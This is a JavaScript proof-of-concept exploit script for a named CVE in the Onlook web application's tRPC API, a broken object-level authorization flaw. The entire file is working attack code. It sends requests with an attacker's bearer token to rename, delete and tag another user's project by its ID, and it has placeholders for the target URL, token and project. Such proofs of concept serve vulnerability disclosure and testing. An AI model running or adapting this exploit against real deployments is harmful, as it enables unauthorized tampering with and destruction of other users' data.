import fetch from 'node-fetch';
// CVE-2025-63783 PoC - BOLA vulnerability in Onlook tRPC API
// Target: Onlook web application 0.2.32
const TARGET_URL = 'http://target-onlook-instance.com';
const ATTACKER_TOKEN = 'attacker-auth-token-here';
async function exploitBola() {
const victimProjectId = 'victim-project-uuid-here';
// PoC 1: Unauthorized Project Update
const updatePayload = {
jsonrpc: '2.0',
id: 1,
method: 'project.update',
params: {
projectId: victimProjectId,
data: {
name: 'Hacked by Attacker',
description: 'This project was modified via BOLA vulnerability'
}
}
};
const updateResponse = await fetch(`${TARGET_URL}/trpc`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${ATTACKER_TOKEN}`
},
body: JSON.stringify(updatePayload)
});
console.log('Update Response:', await updateResponse.json());
// PoC 2: Unauthorized Project Delete
const deletePayload = {
jsonrpc: '2.0',
id: 2,
method: 'project.delete',
params: {
projectId: victimProjectId
}
};
const deleteResponse = await fetch(`${TARGET_URL}/trpc`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${ATTACKER_TOKEN}`
},
body: JSON.stringify(deletePayload)
});
console.log('Delete Response:', await deleteResponse.json());
// PoC 3: Unauthorized Tag Manipulation
const tagPayload = {
jsonrpc: '2.0',
id: 3,
method: 'project.addTag',
params: {
projectId: victimProjectId,
tag: 'malicious-tag'
}
};
const tagResponse = await fetch(`${TARGET_URL}/trpc`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${ATTACKER_TOKEN}`
},
body: JSON.stringify(tagPayload)
});
console.log('Tag Response:', await tagResponse.json());
}
exploitBola().catch(console.error);